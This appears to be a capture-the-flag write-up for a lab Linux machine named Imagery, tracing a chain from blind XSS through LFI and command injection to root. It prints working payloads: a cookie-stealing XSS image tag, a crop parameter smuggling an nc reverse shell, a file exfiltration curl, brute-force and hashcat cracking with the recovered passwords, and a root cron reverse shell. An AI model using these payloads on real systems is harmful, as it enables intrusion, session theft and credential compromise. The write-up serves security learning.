Imagery is a medium Linux machine that started with a blind XSS on the “Report Bug” form allowing us to retrieve the admin’s cookie. Through the user’s privileges, we could access the admin panel allowing us to read user logs and most specifically exploit an LFI in the log_identifier parameter. With read access on the filesystem, we accessed the db.json file and used the testuser@imagery.htb credentials inside that file to abuse a command injection within /usr/bin/convert. With access to the initial machine as web, we found a backup file under /var/backup revealing an AES encrypted file. Using PyAesCrypt version 2 library, we could be able to brute-force the file’s password and read the db.json file inside which revealed credentials for another user mark. That user could run /usr/local/bin/charcol binary as root which was abused to create a new job which runs a reverse shell as root.

1
2
3
4
PORT     STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http Werkzeug httpd 3.1.3 (Python 3.12.7)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Upon visiting the website, we found a registration feature.

After registering a new account, we were redirected to the image gallery where we can upload images and other files.

Blind XSS

We found that there was a Report Bug form.

Upon testing that form, a message states that this bug will be submitted to the Administrator which hinted us into trying blind XSS payloads to try triggering blind XSS and steal the Administrator’s cookie leading to session hijacking.

On of the payloads from https://github.com/lauritzh/blind-xss-payloads worked and triggered a connection to our web server on the description field about bug details.

1
2
3
4
5
$ sudo php -S 0.0.0.0:80      
[Fri Oct 17 06:02:04 2025] PHP 8.4.6 Development Server (http://0.0.0.0:80) started
[Fri Oct 17 06:02:10 2025] 10.10.11.88:54642 Accepted
[Fri Oct 17 06:02:10 2025] 10.10.11.88:54642 [200]: GET /bug_details
[Fri Oct 17 06:02:10 2025] 10.10.11.88:54642 Closing

Once we validated the existence of a blind xss in the “Report Bug” form, we crafted a payload that retrieves the admin’s cookie

1
'"><img src=x onerror="this.src='http://10.10.14.179/test?c='+document.cookie">
1
[Fri Oct 17 06:10:10 2025] 10.10.11.88:45358 [200]: GET /test?c=session=.eJw9jbEOgzAMRP_Fc4UEZcpER74iMolLLSUGxc6AEP-Ooqod793T3QmRdU94zBEcYL8M4RlHeADrK2YWcFYqteg571R0EzSW1RupVaUC7o1Jv8aPeQxhq2L_rkHBTO2irU6ccaVydB9b4LoBKrMv2w.aPIWAA.qCbAWww5hqjkwp7uRkm-1w45lCQ 

We then added that session token using the CookieEditor firefox extension

This granted us access as admin to the web panel

LFI

Upon inspecting the admin panel features, we found that we could download other user logs.

While these logs did not reveal anything useful for the initial foothold, we could see that the intercepted request in burp is using GET instead of the usual POST requests and that the parameter is referencing the user whose logs are to be extracted in the log_identifier parameter.

1
GET /admin/get_system_log?log_identifier=admin%40imagery.htb.log

We tried a payload to read the contents of /etc/passwd inside the webserver and this returned the output of that file confirming that it is vulnerable to LFI:

Executing ../../../../proc/self/environ returns an indication that this flask application is running under the context of the web user, as follows:

1
2
3
4
5
6
LANG=en_US. UTF-8PATH=/home/web/web/env/bin:/sbin:/usr/binUSER=
webLOGNAME=webHOME=/home/webSHELL=/bin/bashINVOCATION_ID=bbcaa
815a3e24772a591c0al9a0eb22aJOURNAL_STREAM=9: 18441SYSTEMD_EXEC
PID=1295MEMORY_PRESSURE_WATCH=/sys/fs/cgroup/system.slice/flas
kapp. service/memory. pressureMEMORY_PRESSURE_WRITE=c29t ZSAyMDAW
MDAgMj AwMDAwMAA=CRON_BYPASS_TOKEN=K7Zg9vB$24NmW!q8xROp/runL!

Since this is a flask web application, and knowing the web application root path, we could enumerate common flask files.

Inside the app.py, we could see the available files to enumerate:

1
2
3
4
5
6
app_core.register_blueprint(bp_auth)
app_core.register_blueprint(bp_upload)
app_core.register_blueprint(bp_manage)
app_core.register_blueprint(bp_edit)
app_core.register_blueprint(bp_admin)
app_core.register_blueprint(bp_misc)

Command injection

Upon inspecting the api_edit.py file, we could see that it is using /usr/bin/convert to convert certain files and with shell=true within the crop feature under the apply_visual_transform endpoint:

1
2
3
4
5
6
7
if transform_type == 'crop':
x = str(params.get('x'))
y = str(params.get('y'))
width = str(params.get('width'))
height = str(params.get('height'))
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"
subprocess.run(command, capture_output=True, text=True, shell=True, check=True)

However, to abuse that command injection vulnerability, we had to first get an account that has isTestuser set to true. Checking the /home/web/web/db.json endpoint reveals this information for each user account.

We could see that testuser@imagery.htb has isTestuser set to true and knowing its password helped us to authenticate as that user and abuse that command injection vulnerability:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
users": [
{
"username": "admin@imagery.htb",
"password": "5d9c1d507a3f76af1e5c97a3ad1eaa31",
"isAdmin": true,
"displayId": "a1b2c3d4",
"login_attempts": 0,
"isTestuser": false,
"failed_login_attempts": 0,
"locked_until": null
},
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isAdmin": false,
"displayId": "e5f6g7h8",
"login_attempts": 0,
"isTestuser": true,
"failed_login_attempts": 0,
"locked_until": null
}
],

Cracking the hash for testuser@imagery.htb reveals the password imabatman which we used to auth as that user and granted us access to several previously disabled features such as convert and transform:

Since the convert feature is now available under the user context, we could abuse it for getting a reverse shell based on the parameters that we found previously in the api_edit.py file under the /crop endpoint:

1
2
3
4
5
6
7
8
9
10
11
$ curl -X POST "http://10.10.11.88:8000/apply_visual_transform" -H "Content-Type: application/json" -H "Cookie: session=.eJxNjTEOgzAMRe_iuWKjRZno2FNELjGJJWJQ7AwIcfeSAanjf_9J74DAui24fwI4oH5-xlca4AGs75BZwM24KLXtOW9UdBU0luiN1KpS-Tdu5nGa1ioGzkq9rsYEM12JWxk5Y6Syd8m-cP4Ay4kxcQ.aPKMHg.-_3RJ1v50JTy-wQ2mDmWnzbInG0" -d '{
"imageId": "700c9969-4d6f-4bb3-9940-34434b1217e6",
"transformType": "crop",
"params": {
"x": "0",
"y": "0",
"width": "100; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.179 80 >/tmp/f #",
"height": "100"
}
}'

Running this with the cookie of testuser@imagery.htb returns a reverse shell as web.

Access as Web

Once we got the initial foothold onto the web server, running linpeas.sh did not reveal anything useful, therefore we performed manual enumeration on the system looking for potential credentials for lateral movement over another account with more interesting permissions.
As a result, we found an AES encrypted file under /var/backup:

1
2
web@Imagery:/var/backup$ ls
web_20250806_120723.zip.aes

In order to crack that file, we uploaded it to our local machine through uploadserver

1
curl -X POST http://10.10.14.179:8000/upload -F 'files=@web_20250806_120723.zip.aes' --insecure

We also used md5sum to check the uploaded file integrity and any potential data loss.

Checking the file metadata, we found that it was using PyAesCrypt version 2. Therefore, we installed that library locally and created a bash script to decrypt the AES encrypted password using the rockyou.txt wordlist. After some minutes, it returned the plain-text password of that zip file and decrypted it successfully.

1
2
3
4
5
6
7
8
9
10
11
for p in $(cat /usr/share/wordlists/rockyou.txt)
do
if pyAesCrypt -d web_20250806_120723.zip.aes -p "$p" 2>/dev/null; then
echo "SUCCESS! Password: $p"
break
fi
done

<SNIP>

SUCCESS! Password: bestfriends

The resulting backup file contained a db.json with other additional user credentials compared to the recent one including mark credentials:

1
2
3
4
5
6
7
8
    "username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535",
"displayId": "868facaf",
"isAdmin": false,
"failed_login_attempts": 0,
"locked_until": null,
"isTestuser": false
}

We cracked that user’s MD5 hash using hashcat:

1
2
3
4
$ hashcat -m 0 '01c3d2e5bdaf6134cec0a367cf53e535' /usr/share/wordlists/rockyou.txt 
<SNIP>
01c3d2e5bdaf6134cec0a367cf53e535:supersmash
<SNIP>

Having a shell as mark, we could then read the user.txt flag under /home/mark.

Access as Mark

Running sudo -l for potential sudo binaries, we found that mark could execute /usr/local/bin/charcol as root:

1
2
3
4
5
6
7
8
9
mark@Imagery:~$ sudo -l
sudo -l
Matching Defaults entries for mark on Imagery:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User mark may run the following commands on Imagery:
(ALL) NOPASSWD: /usr/local/bin/charcol

Since charcol was apparently a custom binary, we had to understand how it works. It was used to perform an AES encrypted or unencrypted backup of a specified file or directory.

Privilege Escalation

Running sudo /usr/local/bin/charcol shell by default asks for the stored app password which we do not know. Therefore, another flag could be used to reset the application password to default. Then, when running the binary again with the shell argument sudo /usr/local/bin/charcol shell, it would ask if we want to run without password which upon accepting it gives us access to that binary shell:

1
2
3
4
5
6
7
8
9
10
$ sudo /usr/local/bin/charcol shell

First time setup: Set your Charcol application password.
Enter '1' to set a new password, or press Enter to use 'no password' mode:

Are you sure you want to use 'no password' mode? (yes/no): yes
yes
[2025-10-18 09:42:36] [INFO] Default application password choice saved to /root/.charcol/.charcol_config
Using 'no password' mode. This choice has been remembered.
Please restart the application for changes to take effect.

A way we found to get a shell as root through charcol available arguments was to use auto add which creates a new scheduled job and in this case under the context of the root user, therefore we created the following scheduled job:

1
2
charcol> auto add --schedule "* * * * *" --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.179 80 >/tmp/f" --name "Root Shell"
<SNIP>

Upon triggering the job, we got a shell running as root and could be able to read the flag under /root/root.txt

1
2
3
4
5
6
$ sudo rlwrap nc -lnvp 80  
<SNIP>
# id && hostname
uid=0(root) gid=0(root) groups=0(root)
Imagery
<SNIP>